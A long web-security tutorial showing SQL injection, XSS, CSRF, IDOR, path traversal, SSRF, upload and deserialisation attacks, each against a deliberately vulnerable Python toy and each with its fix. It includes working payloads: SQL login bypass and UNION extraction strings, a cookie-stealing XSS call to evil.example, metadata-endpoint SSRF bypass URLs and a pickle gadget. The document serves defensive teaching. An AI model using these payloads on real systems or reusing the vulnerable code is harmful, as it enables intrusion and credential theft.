CS Fundamentals Trainer · Guides
Web application security: injection, XSS, CSRF and secrets
Injection, cross-site scripting, CSRF, broken access control, path traversal, SSRF, unsafe deserialisation and leaked secrets, each shown with the vulnerable code, the attack and the fix, plus supply chain, headers and response.
48 min read
Most security failures in web applications are not exotic. They are the same few mistakes repeated: treating input as trusted, forgetting to check who is allowed to do what, and leaving secrets where they can be found. The good news is that each has a standard defence, and knowing the five or six that matter covers most of the realistic risk for an ordinary application.
This guide takes the common attacks one at a time and, for each, shows the vulnerable code, the attack, and the fix. I wrote a small intentionally vulnerable program in Python (the code is in the appendix) and ran the attacks against it, so the outputs below are real, except for the CSRF table, which is a model of the browser's cookie rules and says so. Authentication itself (passwords, sessions, tokens) has its own guide: authentication and sessions. Only test attacks on systems you own or have permission to test.
1. The mindset
Trust boundaries
A trust boundary is a place where data passes from something you do not control to something you do. Everything that crosses it is untrusted until validated: form fields, query strings, headers and cookies, uploaded files, JSON bodies, data from other services, even rows in your own database that came from users earlier. Most of the vulnerabilities below are one mistake: untrusted data crossing a boundary and being interpreted (as SQL, as HTML, as a file path, as code) rather than treated as plain data.
Diagram: Where untrusted data becomes dangerous
Principles
- Never trust the client. Validation in the browser is for convenience; every rule must be enforced on the server.
- Defence in depth. Assume that any single control will fail and layer them: parameterised queries and a least-privilege database account and monitoring.
- Least privilege. Each component, account and token gets only what it needs. A web application's database user should not be able to
DROP TABLE. - Secure by default and deny by default. A new endpoint is closed until someone opens it; a missing permission means "no".
- Make the secure way the easy way: frameworks and libraries that escape and parameterise automatically beat discipline in every line of code.
Threat modelling is asking, before you build, what are we protecting, who might attack it, and how? The STRIDE checklist (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) is a simple prompt for each component and data flow. You do not need a perfect model; an hour with the diagram on a whiteboard finds the obvious holes.
The OWASP Top 10 is the standard catalogue of the most common web risks. In its 2021 edition the list is broken access control, cryptographic failures, injection, insecure design, security misconfiguration, vulnerable and outdated components, identification and authentication failures, software and data integrity failures, logging and monitoring failures, and server-side request forgery (check the OWASP site for the current edition). The sections below cover most of them.
2. Injection
Injection happens when the application builds a command or query by pasting untrusted text into it, so that the data can change the structure. SQL is the classic case.
def login(name, pw):
q = f"SELECT name, is_admin FROM users WHERE name = '{name}' AND pw = '{pw}'"
return db.execute(q).fetchall()
I ran this against a table with a regular user and an admin, and compared it with the parameterised version. The first column is what the vulnerable function returned, the second the safe one:
| Username | Password | Vulnerable code returns | Parameterised returns |
|---|---|---|---|
alice | s3cret! | alice | alice |
alice | wrong | nothing | nothing |
admin' -- | x | admin (is_admin = 1) | nothing |
x | ' OR '1'='1 | every user, including the admin | nothing |
x | ' UNION SELECT value, 1 FROM secrets -- | the contents of another table: api-key-123 | nothing |
x'; DROP TABLE users; -- | x | error | nothing |
The third row logged in as the admin with no password: the quote closed the string, and -- turned the rest of the query, including the password check, into a comment. The fourth made the condition always true. The fifth used UNION to read data from a table the login query never touched. The last tried to run a second statement; SQLite's driver refuses to execute two statements at once, which is a property of that driver, and many database drivers do allow stacked queries, so do not rely on it. Step through the first attack and the fix:
Interactive animation: sql injection
The fix: parameters
def login(name, pw):
return db.execute("SELECT name, is_admin FROM users WHERE name = ? AND pw = ?", (name, pw)).fetchall()
With a parameterised query (prepared statement) the SQL text and the values travel separately. The database parses the text first, so its structure is fixed, and the values are only ever compared as data. All the attacks in the table failed, because to the database they were just unusual usernames. Rules that go with it:
- Never build SQL with string formatting or concatenation, including for
LIMIT,ORDER BYand table or column names. Parameters cannot stand for identifiers, so for these use an allowlist (map the user's choice to a fixed set of known column names). - ORMs and query builders parameterise for you, until you use their "raw" escape hatch with string formatting.
- Least privilege for the database account: no
DROP, no access to tables the application does not use, separate read and write accounts where it matters. Then a successful injection has a limited blast radius. - Second-order injection: data stored safely and later pasted into a query by another piece of code. Parameterise everywhere, not only at the entry point.
- Never store passwords in plain text (the toy table above does, to keep the demo short). See the authentication guide for hashing.
The same pattern appears in other interpreters: OS command injection (os.system("convert " + filename): use an argument list and no shell), NoSQL operators in JSON queries, LDAP, XPath, template injection and header injection. The cure is always the same: keep data and code apart, or validate against a strict allowlist when you cannot.
3. Cross-site scripting (XSS)
XSS is injection into the browser: attacker-controlled text ends up in your page as HTML or JavaScript, runs with your site's privileges, and can read the page, act as the user, and steal anything not protected from scripts. The three kinds are stored (saved by the application and shown to other users, such as a comment), reflected (echoed from the request, such as a search term in an error page), and DOM-based (client-side code writes untrusted data into the page, for example through innerHTML).
A comment containing <img src=x onerror="fetch('//evil.example/?c='+document.cookie)"> inserted raw into the page produces an image tag that fails to load and runs the script, sending the cookie away. Here is what the same output looks like with the right encoding for each place the text can land:
| Where the text goes | Wrong | Right |
|---|---|---|
| HTML body | <p> + raw text + </p> | <img src=x onerror="fetch(...)">: HTML-escape < > & " ' |
| HTML attribute, quoted | <input value=" + raw + "> where the text is " onmouseover="alert(1) gives value="" onmouseover="alert(1)" | value="" onmouseover="alert(1)" |
Inline <script> | var name = '</script><script>alert(1)</script>'; closes the script and starts another | JSON-encode and escape < as <: var name = "</script><script>alert(1)</script>"; |
| URL | a javascript: URL in an href | allow only http: and https: (an allowlist of schemes) |
The key idea is context-sensitive output encoding: the correct escaping depends on where the data is placed (HTML, an attribute, JavaScript, CSS, a URL), so there is no one function that is right everywhere. Practical rules:
- Use a framework that escapes by default (React, Vue, Angular, and most server-side template engines do) and treat the escape hatches as dangerous:
dangerouslySetInnerHTML,v-html,innerHTML,|safe,Html.Raw. - If users must supply HTML (a rich text editor), sanitise it with a maintained allowlist-based library (such as DOMPurify) on output, and not with your own regular expressions.
- Set cookies
HttpOnlyso that a script cannot read the session cookie, which limits what an XSS can steal (it can still act as the user, from inside the page). - Add a Content Security Policy (CSP) as a second layer: for example
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'makes the browser refuse inline scripts and scripts from other origins, so most injected payloads do nothing. Roll it out in report-only mode first. - Never put untrusted data into the page by building HTML strings in JavaScript; use
textContentand DOM APIs.
4. Cross-site request forgery (CSRF)
If your site authenticates with a cookie, the browser attaches that cookie to every request to your domain, including requests started by another site. A malicious page can contain a form that posts to https://bank.example/transfer; the browser sends the victim's cookie, and the bank cannot tell the request from a genuine one. CSRF abuses that ambient authority.
I modelled the browser's rule for sending cookies and the server's checks, and asked which state-changing requests would be accepted. (This is a model of the rules, not a real browser.)
| Request | No protection | SameSite=Lax cookie | SameSite=Lax plus CSRF token | CSRF token, any SameSite | Origin check |
|---|---|---|---|---|---|
form POST from evil.example | accepted | rejected (cookie not sent) | rejected | rejected (bad token) | rejected (foreign origin) |
a link or redirect (GET) from evil.example to /transfer?to=x | accepted | accepted | rejected (bad token) | rejected | accepted (no origin on a navigation) |
the real form on bank.example | accepted | accepted | accepted | accepted | accepted |
What to take from it:
SameSite=Lax(the default in modern browsers when the attribute is not set) already stops cross-site POSTs from carrying the cookie;Strictstops cookies on all cross-site requests, at some cost to usability (links from other sites arrive logged out).- A state-changing action must never be a GET. Lax cookies are sent with top-level GET navigations, so a transfer behind a GET link is still forgeable.
- CSRF tokens: an unguessable value tied to the session that the page includes in every state-changing request (a hidden form field or a header), checked on the server. Frameworks provide it; the "double-submit cookie" and "synchroniser token" are the usual forms.
- Check
Origin(andSec-Fetch-Site) on state-changing requests as an additional layer. - A "SameSite" is a different thing from "same origin". Two subdomains of the same registrable domain are the same site, so a vulnerable subdomain can still forge requests to its siblings; see the discussion in the authentication guide.
- CORS is not CSRF protection. CORS controls whether a page may read a cross-origin response; a simple cross-origin form POST is sent regardless. APIs that authenticate with a bearer token in a header (not a cookie) are not affected by CSRF, because the browser does not attach that header automatically.
5. Broken access control
The most common serious flaw in the OWASP list is also the most mundane: the application checks that you are logged in but not that you are allowed to touch this object.
@app.get("/invoices/{id}")
def get_invoice(id, user):
return db.query("SELECT * FROM invoices WHERE id = ?", id) # any logged-in user can read any invoice
An attacker simply changes 1234 to 1235 in the URL. This is called an insecure direct object reference (IDOR), or broken object-level authorisation (BOLA) in API terms. The fix is to make ownership part of the query, so that the question is "the invoice with this id that belongs to this user":
return db.query("SELECT * FROM invoices WHERE id = ? AND owner_id = ?", id, user.id) # not yours: 404
Rules:
- Authorise on every request, on the server, for every object and every action: reading, changing, deleting, and also functions ("admin only") and fields (a user may edit their name but not their
role; beware mass assignment, where a JSON body is copied wholesale onto a model). - Deny by default; centralise the checks in one layer (middleware, policy objects, row-level security) instead of scattering
ifstatements. - Unpredictable ids (UUIDs) make enumeration harder but are not access control. Always check ownership.
- In a multi-tenant system, the tenant must be part of every query (designing a multi-tenant system).
- Return 404 rather than 403 for objects the user must not even know exist.
- Test it: for each endpoint, a test that logs in as user B and requests user A's objects.
5.1 An authorization test matrix for object-level access and tenant isolation
"Test that user B cannot read user A's objects" is easy to write once and easy to forget on the next endpoint. A matrix makes the test systematic: list the actors, the actions and the objects, state the policy as data, and generate every combination. I built one for a small invoice API with two tenants (script in the appendix; a Flask test client, no network):
| Dimension | Values |
|---|---|
| Actors | alice and bob (members of tenant T1), carol (admin of T1), dave (member of T2), erin (admin of T2), and an anonymous visitor |
| Objects | invoice 1 (alice's, T1), invoice 2 (bob's, T1), invoice 3 (dave's, T2) |
| Actions | read, update, delete, list, create (with a customer of the own or another tenant), admin functions (list users, change a role) |
| Policy | a member may act on their own invoices; an admin on every invoice of their own tenant; nobody on another tenant's data |
The expectations are strict, not just "denied": anonymous gets 401; an object of another tenant must give exactly 404, so the response does not reveal that it exists; another user's object in the same tenant gives 403 or 404; every list must contain exactly the invoices the policy allows; and an update must not be able to change owner or tenant (mass assignment). That is 95 checks. Against the correct app all 95 pass. Then I switched on, one at a time, seven realistic bugs and counted the failing checks:
| Bug injected | Checks that fail | What the first failure looks like |
|---|---|---|
| read checks the tenant but not the owner | 2 | alice reads bob's invoice (200) |
| list and read ignore the tenant for admins | 11 | carol (admin of T1) reads dave's invoice in T2 |
| update copies every field of the body (mass assignment) | 1 | alice's update moved the invoice to bob and to tenant T2 |
| delete lets an admin delete across tenants | 3 | carol deletes dave's invoice (204) |
| create accepts a customer from another tenant | 5 | alice creates an invoice for tenant T2's customer |
| an admin function without the role check | 3 | alice lists the users |
| an admin may change roles in another tenant | 5 | carol makes dave an admin |
All seven were detected, which is what a good matrix should do; a bug that no case catches means the matrix has a gap. Practices that make it work in a real code base:
- Generate the cases from a table, as above, so a new endpoint adds rows and not a new hand-written test. Add a test that fails when a route exists that the matrix does not know: mine compares the application's routing table with the list of covered routes.
- State the policy once, in the test, independent of the implementation. The matrix checks the code against the policy; it cannot tell you the policy is right, so have the policy reviewed by someone who knows the business.
- Cover the data layer as well: with row-level security, test the database role directly (multi-tenant design); with a background job or a report, run the same cross-tenant checks, because those paths often skip the request middleware.
- Include IDs the actor should not know and IDs that exist. Both should give the same 404.
- Run it against a real database (or a throwaway container), not mocks that return whatever the test expects.
- Test functions as well as objects (broken function-level authorisation: a normal user calling an admin endpoint), and fields (mass assignment), as in the table.
6. Files, URLs and deserialisation
Path traversal
A function that serves files from a folder with os.path.join(base, name) trusts name. I made a public folder next to a secret file and requested a few names:
| Requested name | Naive join | Resolved path checked against the folder |
|---|---|---|
a.txt | public | public |
../secret.txt | TOP SECRET | 403 forbidden |
/etc/hostname | the machine's host name | 403 forbidden |
..%2fsecret.txt (not decoded) | error | 404 |
The first line of defence is to resolve the final path (following .. and symbolic links) and verify that it is still inside the intended directory; the second is to use identifiers (a database id mapped to a stored file name) instead of user-supplied names, and to store uploads outside the web root with a generated name, never trusting the extension or the content type.
Server-side request forgery (SSRF)
If your server fetches a URL supplied by the user (a webhook, an image preview, an import from URL), an attacker can point it at things only the server can reach: internal services, localhost, or the cloud provider's metadata endpoint (169.254.169.254), which can hand out credentials. Defences: allowlist the hosts you intend to call; resolve the name and refuse private, loopback and link-local addresses (check again after redirects, and against DNS rebinding, by connecting to the address you checked); disable redirects or revalidate each one; run such fetches from an isolated network with no access to internal systems; and require the newer, token-based metadata service on cloud instances.
SSRF in practice: the cloud metadata endpoint and the details that defeat simple filters
The danger of SSRF is concrete. On a cloud virtual machine, the address 169.254.169.254 (and fd00:ec2::254 on AWS over IPv6) serves instance metadata, including temporary credentials for the machine's role. An application that fetches a user-supplied URL can be made to fetch that address and return the credentials to the attacker. Defences work in layers, and the application layer alone is not enough.
1. In the application: check the address, not the text. A filter on the URL string ("does it contain 169.254?") is easy to bypass. I wrote the check against resolved addresses and ran it on 19 inputs (stdlib only; DNS and HTTP replaced by stubs; script in the appendix). One was allowed (a public host); 18 were blocked:
| Input | Why a text filter misses it | Result |
|---|---|---|
http://169.254.169.254/latest/meta-data/... | (the plain case) | blocked: link-local |
http://2852039166/ | the address written as one decimal number | blocked: resolves to 169.254.169.254 |
http://0xa9.0xfe.0xa9.0xfe/ | hexadecimal octets | blocked |
http://127.1/ | a shortened loopback address | blocked: 127.0.0.1 |
http://[::ffff:169.254.169.254]/ | an IPv4 address inside IPv6 | blocked (the mapped address is unwrapped before the check) |
http://[fd00:ec2::254]/ | the AWS IPv6 metadata address | blocked: unique-local |
http://evil.example/ | a name whose DNS record points to 169.254.169.254 | blocked: checked after resolving |
http://example.org@169.254.169.254/ | text before @ is credentials, the host is after it; parsers disagree | blocked: credentials in a URL are refused |
http://100.64.0.1/ | carrier-grade NAT range, often internal | blocked: not a global address |
http://example.org:6379/ | a database port on a public host | blocked: only ports 80 and 443 |
file:///etc/passwd, gopher://... | other schemes | blocked: only http and https |
The rules the code follows: allow only http and https on known ports; resolve the name and require that every returned address is globally routable (ipaddress's is_global, after unwrapping IPv4-mapped IPv6); connect to the address you checked, not to the name again; re-run the whole check on every redirect.
The second and third rules matter. A DNS rebinding name answers with a public address when you check it and with 169.254.169.254 a second later, when the HTTP client resolves it again to connect: in the script the check saw 93.184.216.34, a client resolving again got 169.254.169.254, and the safe version, which connects to the checked address, did not. A redirect from a harmless host to the metadata address was blocked because the redirect target went through the same check.
2. On the machine: make the metadata service harder to reach (from the providers' documentation; not run here):
- AWS: require IMDSv2 (
HttpTokens=required). It needs a token obtained with aPUTrequest and sent as a header on later requests, which simple SSRF through aGET-only fetcher cannot do; the token response has a hop limit of 1 by default, so it does not cross a proxy or a container network, unless that is changed. Give the role least privilege, so stolen credentials can do little. - Google Cloud requires the header
Metadata-Flavor: Google; Azure requiresMetadata: trueand rejects requests that carryX-Forwarded-For. Headers are a speed bump against naive SSRF, not a replacement for the checks above. - Kubernetes: pods can often reach the node's metadata; block
169.254.169.254with a network policy or the provider's setting for workloads that do not need it.
3. In the network: control egress. Run URL fetchers in a separate process or network segment whose egress is limited to the internet and cannot reach private ranges or the metadata address; put an outbound proxy with an allowlist in front of services that must call a fixed set of hosts. If the feature only needs a few partners, allowlist their hostnames and skip the problem.
4. Make the response useless. Do not return the fetched body to the user unfiltered (a "blind" SSRF still scans your network, but an echo of the response exfiltrates the data); validate that an image fetch really returns an image.
Handling file uploads safely
An upload is untrusted input in three ways: the name, the content and the size. The script in the appendix processes images and I fed it twelve uploads:
| Upload | Result | The rule that decided it |
|---|---|---|
| a normal PNG | accepted | |
shell.php, or shell.png containing PHP | refused | extension allowlist (only png, jpg, gif); then the content must really begin with the PNG signature |
evil.svg (with an onload script) | refused | SVG is XML that can carry script; serve it only if you sanitise it or as a download |
a.jpg that is actually a PNG | refused | the sniffed type must match the extension |
| a 3 MB file | refused | size limit checked before any parsing |
flood.png: 389 KB that claims 20,000 × 20,000 pixels (400 megapixels, about 400 MB once decoded) | refused | the pixel count is read from the header and checked before decoding (a decompression bomb) |
a valid PNG with <?php ... ?> appended after the image (a polyglot) | accepted, but the stored file no longer contains the payload | the image is re-encoded: decoding and writing a fresh file keeps the pixels and drops trailing bytes and metadata |
| a JPEG with an EXIF description (location, camera) | accepted; stored with no EXIF | re-encoding strips metadata (privacy as well as security) |
../../etc/cron.d/x.png, shell.php.png, x.png\0.php | stored under a random name (or refused for the extension) | the stored name is a generated identifier; the client's name is never used as a path |
The sniffing alone accepted the polyglot, which shows why checks on the bytes are not enough: re-encoding is the strong step, because what you store is what your own library produced. Do it in a sandboxed worker with memory and time limits, since image libraries have had many memory-safety bugs.
The full list of practices:
- Allowlist types and extensions; check the real type from the content (signature or a parser), not the
Content-Typeheader, which the client chooses. - Limit size at the web server or proxy before the application reads the body, and limit dimensions and total pixels before decoding. Libraries have their own limits (Pillow raises a decompression-bomb error above a pixel threshold); use them and set your own lower ones.
- Generate the stored name (a random identifier); keep the original name only as data to display, escaped.
- Store outside the web root, in object storage or a private directory, with no execute permission. Never let the web server execute or interpret uploaded files.
- Serve with safe headers:
Content-Typeset by you,X-Content-Type-Options: nosniff, andContent-Disposition: attachmentfor anything that is not an image shown inline. Serve user files from a separate domain (not a subdomain that shares cookies), so a script in an uploaded file cannot reach your session. - Archives need extra limits. A zip of 194,519 bytes expanded to 200,000,000 bytes (a ratio above 1000:1) in my test.
check_ziplimits the declared total, the ratio and the bytes actually produced while streaming, because the sizes in a header can lie. Also reject entries with..or absolute paths when extracting (zip slip). - Scan for malware where files are shared with other users, and process uploads asynchronously: accept, scan and convert in a worker, then publish.
- Authorise downloads like any other object (section 5.1): an unguessable URL is not access control.
Insecure deserialisation
Some formats can describe objects and code, not only data. In Python, pickle.loads runs whatever function the bytes name: I built a payload that made it call a function of my choice (a harmless one that returns the process id) when loaded. If the bytes came from an attacker, the function would be os.system. json.loads of the same kind of input only ever produces plain data. The rule: never deserialise untrusted data with a format that can instantiate arbitrary types (pickle, Java native serialisation, .NET BinaryFormatter, YAML's load with full constructors); use JSON or Protocol Buffers with a schema, and validate the result.
7. Secrets
A secret is anything that grants access: passwords, API keys, tokens, private keys, database URLs. They leak through source control, logs, error pages, container images, client-side bundles, screenshots and chat messages.
I made a repository, committed a file containing an API key, then committed a change that removed it. The latest version of the file is clean, but git log -S AKIAEXAMPLE found the key in both commits: deleting a secret from the latest commit does not remove it from history. Anyone who ever cloned the repository has it. So:
- If a secret leaks, rotate it (revoke and replace it), then clean up. Treat it as compromised from the moment it was exposed.
- Keep secrets out of the code: read them from the environment or a secret manager (a cloud service, HashiCorp Vault, Kubernetes secrets with encryption at rest), injected at runtime. Keep
.envout of version control and ship a.env.examplewith fake values. - Scan for them: pre-commit hooks and CI checks (gitleaks, trufflehog, the platform's secret scanning) catch a key before it is pushed.
- Never put secrets in client-side code. Anything in a browser or mobile app bundle is public; a "secret" there is only an identifier.
- Give every secret the least privilege and a short life: separate keys per service and per environment, scoped permissions, expiry, and short-lived credentials from an identity service where possible.
- Do not log them. Redact tokens, passwords, card numbers and personal data from logs and traces (observability has the privacy note).
- Compare secrets in constant time (
hmac.compare_digest), and store passwords only as salted, slow hashes.
8. Dependencies and the supply chain
Your application is mostly other people's code. A vulnerability in a library (as in Log4Shell in 2021) or a malicious package (typosquatting, a hijacked maintainer account) becomes your vulnerability.
- Pin versions with a lock file and update deliberately and regularly; automate the pull requests (Dependabot, Renovate).
- Scan dependencies and container images for known vulnerabilities in CI (
npm audit,pip-audit, Trivy), and decide who triages the results; an ignored report protects nothing. - Prefer fewer, well-maintained dependencies, and review new ones (age, maintainers, install scripts).
- Protect the build: least-privilege CI tokens, no secrets in pull-request builds from forks, signed artifacts, and an SBOM (a list of components) so you can answer "are we affected?" quickly.
9. Transport, headers and configuration
- HTTPS everywhere with HSTS (
Strict-Transport-Security) so browsers never try plain HTTP (TLS and HTTPS). - Cookies:
Secure,HttpOnly, a sensibleSameSite, and the__Host-prefix for session cookies. - Security headers worth setting:
Content-Security-Policy,X-Content-Type-Options: nosniff,Referrer-Policy,Permissions-Policy, andframe-ancestorsin CSP (orX-Frame-Options) against clickjacking. - Misconfiguration is a top cause of incidents: default passwords, debug mode in production, public storage buckets, verbose error pages with stack traces, open admin consoles. Automate configuration (infrastructure as code) and review it like code.
- Error messages to users should be generic; details go to the logs.
- Rate limit logins and other sensitive endpoints against guessing and credential stuffing (designing a rate limiter).
10. Detection and response
Prevention fails sometimes, so plan to notice and respond: log authentication events, access-control failures and input validation failures; alert on unusual patterns (many failed logins, an account exporting a lot of data); keep audit logs that the application cannot alter; have a written incident response plan (who decides, how to revoke access, how to notify users and regulators); and practise it. The resilience patterns of the resilience guide also limit the damage of an attack that causes load.
Security regression tests in CI
Every vulnerability you fix, and every class you are worried about, should become a test that runs on every change; otherwise it comes back with the next refactor. Different tools catch different things, so a pipeline layers them:
| Layer | What it catches | Examples of tools | Fail the build when |
|---|---|---|---|
| Authorization and abuse tests (own code) | missing ownership or tenant checks, SSRF and upload rules, mass assignment | the matrix and tests of this guide, run with unittest or pytest | any check fails |
| Static analysis (SAST) | injection patterns, unsafe functions, hard-coded secrets in code | Semgrep, CodeQL, Bandit (Python), ESLint security rules | a new finding above the agreed severity |
| Dependency scanning | known vulnerabilities in libraries (see section 8, dependencies and the supply chain) | pip-audit, npm audit, OSV-Scanner, Dependabot | a vulnerable version with a fix available |
| Secret scanning | keys and tokens committed by mistake | gitleaks, TruffleHog, the platform's push protection | any detected secret (and rotate it) |
| Container and infrastructure scan | vulnerable base images, risky settings in Dockerfiles, Terraform, Kubernetes | Trivy, Checkov | critical findings |
| Dynamic scan (DAST) against a test deployment | missing headers, reflected XSS, open redirects, exposed paths | OWASP ZAP baseline scan | new alerts above the threshold |
I ran the first row (the tests in the appendix): python3 -m unittest -v test_security ran 11 tests in about 2.7 seconds, all passing: the 95-check matrix, a test that the matrix detects each of the seven injected bugs (a test of the tests), a test that every route is covered, the SSRF and upload cases. I did not run the tools of the other rows here (they were not installed and the sandbox had no package access); the list reflects their documentation. A workflow in a CI system looks like this (a sketch, not run):
name: security
on: [pull_request]
jobs:
checks:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: python -m unittest discover -s tests -p "test_security*.py" -v # authorization matrix, SSRF, uploads
- run: pip-audit -r requirements.txt # known vulnerable dependencies
- run: semgrep scan --config auto --error # static analysis, fails on findings
- run: gitleaks detect --redact # secrets in the history
- run: trivy fs --severity CRITICAL,HIGH --exit-code 1 . # dependencies, Dockerfile, IaC
Habits that keep these checks useful:
- Start strict only on new code. A scanner that reports 800 old findings gets ignored. Baseline the old ones, fail on new ones, and burn the old ones down on a schedule.
- Triage and tune. Every suppression needs a comment and an owner, and expires; a noisy rule gets fixed or removed, not skipped by everyone.
- One regression test per fixed vulnerability, named after it, that fails on the old code. Prove it by running it against the version before the fix.
- Pin and review the pipeline itself: pin third-party actions to a commit, give the CI job the least privilege, and keep deployment secrets out of pull-request builds from forks.
- Run the slow ones (DAST, full scans) nightly or before release, and the quick ones (tests, secret scan, dependency audit) on every pull request.
- Tests do not replace review and monitoring. They catch what you thought of; threat modelling and the detection described in the previous section catch the rest.
11. Common mistakes
- Building SQL, shell commands or HTML with string concatenation.
- Client-side-only validation and authorisation.
- Checking that the user is logged in but not that the object is theirs.
- Escaping once, for one context, and using the result everywhere.
- Cookie sessions without CSRF protection, or state changes behind GET requests.
- Treating CORS as a security control for APIs.
- Committing a key, deleting it and considering the matter closed.
- Running the application with a database administrator account.
- Trusting identifiers or file names from the client.
- Updating dependencies never, or ignoring the audit report.
- Detailed error pages in production.
12. Things to mention in an interview
- The common root cause: untrusted data interpreted as code; the cure of separating data from code (parameters, escaping by context, allowlists).
- SQL injection with a concrete example and the fix; why escaping by hand is fragile.
- Stored, reflected and DOM XSS; output encoding by context; CSP and HttpOnly as extra layers.
- CSRF: why cookies are the problem, SameSite, tokens, Origin checks, and why CORS is a different thing.
- IDOR and per-object authorisation; deny by default; mass assignment.
- SSRF and the cloud metadata endpoint; path traversal; unsafe deserialisation.
- Secrets management and rotation; supply chain; least privilege; defence in depth; logging and response.
Quick recap
- Injection, XSS, path traversal and unsafe deserialisation are the same mistake: data interpreted as code. Keep them apart with parameters, context-aware output encoding, resolved and checked paths and data-only formats.
- Of the four attacks on the vulnerable login, three succeeded (a password bypass, an always-true condition and a data leak through
UNION) and one failed with an error; the parameterised version stopped all four and still let the two real logins behave correctly. - CSRF abuses cookies sent automatically: use
SameSite, tokens or Origin checks, and never change state on GET. CORS does not help. - Authorise every object on the server; most breaches are a missing ownership check.
- A secret deleted from the latest commit is still in the history: rotate, then clean; keep secrets in a manager, scan for them, and never ship them to the client.
- Layer defences, give every component least privilege, keep dependencies updated, and log enough to notice and respond.
Appendix: the experiment code
One Python 3 script using only the standard library and git. It builds an in-memory SQLite database with a users table and a secrets table, then calls a vulnerable and a safe version of a login function, shows output encoding in four contexts, serves files from a temporary folder, loads a pickle, creates a throwaway git repository to show a secret surviving in its history, and finally runs the CSRF model. The program is deliberately insecure (it stores plain-text passwords and concatenates SQL) so that the attacks can be seen; do not copy the vulnerable functions. The CSRF part is a model of the cookie-sending rules (SameSite) and of three server defences, not a real browser, and the real rules have more cases (for example, the two-minute window that some browsers give to cookies without a SameSite attribute). Everything runs offline, touches no real system and writes only to temporary directories.
The attacks and defences, run against a deliberately vulnerable toy
import sqlite3, html, os, pickle, subprocess, tempfile, hmac, hashlib, posixpath, json
# ---------- 1. SQL injection: the same login function, built two ways
db = sqlite3.connect(":memory:")
db.execute("create table users(id integer primary key, name text, pw text, is_admin int)")
db.execute("create table secrets(owner text, value text)")
db.executemany("insert into users(name, pw, is_admin) values (?,?,?)", [("alice", "s3cret!", 0), ("admin", "Zx9$unguessable", 1)])
db.execute("insert into secrets values ('admin', 'api-key-123')")
def login_unsafe(name, pw):
q = f"SELECT name, is_admin FROM users WHERE name = '{name}' AND pw = '{pw}'"
try: return db.execute(q).fetchall()
except sqlite3.Error as e: return f"error: {e}"
def login_safe(name, pw):
return db.execute("SELECT name, is_admin FROM users WHERE name = ? AND pw = ?", (name, pw)).fetchall()
attacks = [("alice", "s3cret!"), ("alice", "wrong"), ("admin' --", "x"), ("x", "' OR '1'='1"),
("x", "' UNION SELECT value, 1 FROM secrets --"), ("x'; DROP TABLE users; --", "x")]
print("login attempts: (name, password) -> unsafe | safe")
for n, p in attacks: print(f" {n!r:>38}, {p!r:<42} -> {login_unsafe(n, p)} | {login_safe(n, p)}")
print("users table still exists after the DROP attempt:", db.execute("select count(*) from users").fetchone()[0], "rows (sqlite runs one statement per execute, so the stacked query failed)")
# ---------- 2. output encoding against XSS
payload = '<img src=x onerror="fetch(\'//evil.example/?c=\'+document.cookie)">'
print("\nXSS payload in a comment:")
print(" inserted raw into HTML: <p>" + payload + "</p>")
print(" html.escape'd: <p>" + html.escape(payload) + "</p>")
attr = '" onmouseover="alert(1)'
print(" in an attribute, raw: <input value=\"" + attr + "\">")
print(" in an attribute, escaped: <input value=\"" + html.escape(attr, quote=True) + "\">")
js = "</script><script>alert(1)</script>"
print(" in an inline script, wrong way:", f"<script>var name = '{js}';</script>")
print(" in an inline script, json.dumps with < escaped:", "<script>var name = " + json.dumps(js).replace("<", "\\u003c") + ";</script>")
# ---------- 3. path traversal
base = tempfile.mkdtemp(); os.makedirs(base + "/public"); open(base + "/public/a.txt", "w").write("public"); open(base + "/secret.txt", "w").write("TOP SECRET")
def serve_unsafe(name):
try: return open(os.path.join(base, "public", name)).read()
except OSError as e: return f"error {e.errno}"
def serve_safe(name):
root = os.path.realpath(base + "/public"); p = os.path.realpath(os.path.join(root, name))
if os.path.commonpath([root, p]) != root: return "403 forbidden"
try: return open(p).read()
except OSError: return "404"
print("\npath traversal:")
for n in ("a.txt", "../secret.txt", "..%2fsecret.txt", "/etc/hostname"): print(f" {n!r:>20}: unsafe -> {serve_unsafe(n)!r:>14} safe -> {serve_safe(n)!r}")
# ---------- 4. deserialising untrusted data
class Evil:
def __reduce__(self): return (os.getpid, ()) # a harmless stand-in: any function can be called here
blob = pickle.dumps(Evil())
print("\npickle.loads of an attacker's bytes called a function of the attacker's choice, result:", pickle.loads(blob) == os.getpid())
print("json.loads of the same kind of input can only produce data:", json.loads('{"__reduce__": ["os.getpid", []]}'))
# ---------- 5. secrets in git history
d = tempfile.mkdtemp(); run = lambda *a: subprocess.run(a, cwd=d, capture_output=True, text=True).stdout
run("git", "init", "-q"); run("git", "config", "user.email", "a@b.c"); run("git", "config", "user.name", "x")
open(d + "/config.py", "w").write("API_KEY = 'AKIAEXAMPLEKEY123456'\n"); run("git", "add", "."); run("git", "commit", "-qm", "add config")
open(d + "/config.py", "w").write("import os\nAPI_KEY = os.environ['API_KEY']\n"); run("git", "commit", "-qam", "remove the key from the code")
print("\nsecret removed from the file in the latest commit; is it still in the repository?")
print(" working tree contains it:", "AKIAEXAMPLE" in open(d + "/config.py").read())
print(" git log -S finds it in:", run("git", "log", "-S", "AKIAEXAMPLE", "--oneline").strip().replace("\n", ", "))
# ---------- 6. timing-safe comparison and token handling
def naive_eq(a, b):
for x, y in zip(a, b):
if x != y: return False
return len(a) == len(b)
print("\nconstant-time compare available:", hmac.compare_digest(b"abc", b"abc"), hmac.compare_digest(b"abc", b"abd"))
# ---------- 7. CSRF: which requests does the server accept? (a model of the browser rules, not a browser)
def server(req, defense):
if req["cookie_sent"] is False: return "rejected: not logged in"
if defense == "none": return "ACCEPTED"
if defense == "token": return "ACCEPTED" if req["token"] == "per-session-secret" else "rejected: bad token"
if defense == "origin": return "ACCEPTED" if req["origin"] in (None, "https://bank.example") else "rejected: foreign origin"
def browser_sends_cookie(req, samesite): # SameSite rules for a cross-site request
if not req["cross_site"]: return True
if samesite == "none": return True
if samesite == "lax": return req["method"] == "GET" and req["top_level_navigation"]
return False # strict
cases = {"form POST from evil.example": dict(cross_site=True, method="POST", top_level_navigation=False, origin="https://evil.example", token=None),
"link GET to /transfer?to=x from evil.example": dict(cross_site=True, method="GET", top_level_navigation=True, origin=None, token=None),
"real form on bank.example": dict(cross_site=False, method="POST", top_level_navigation=False, origin="https://bank.example", token="per-session-secret")}
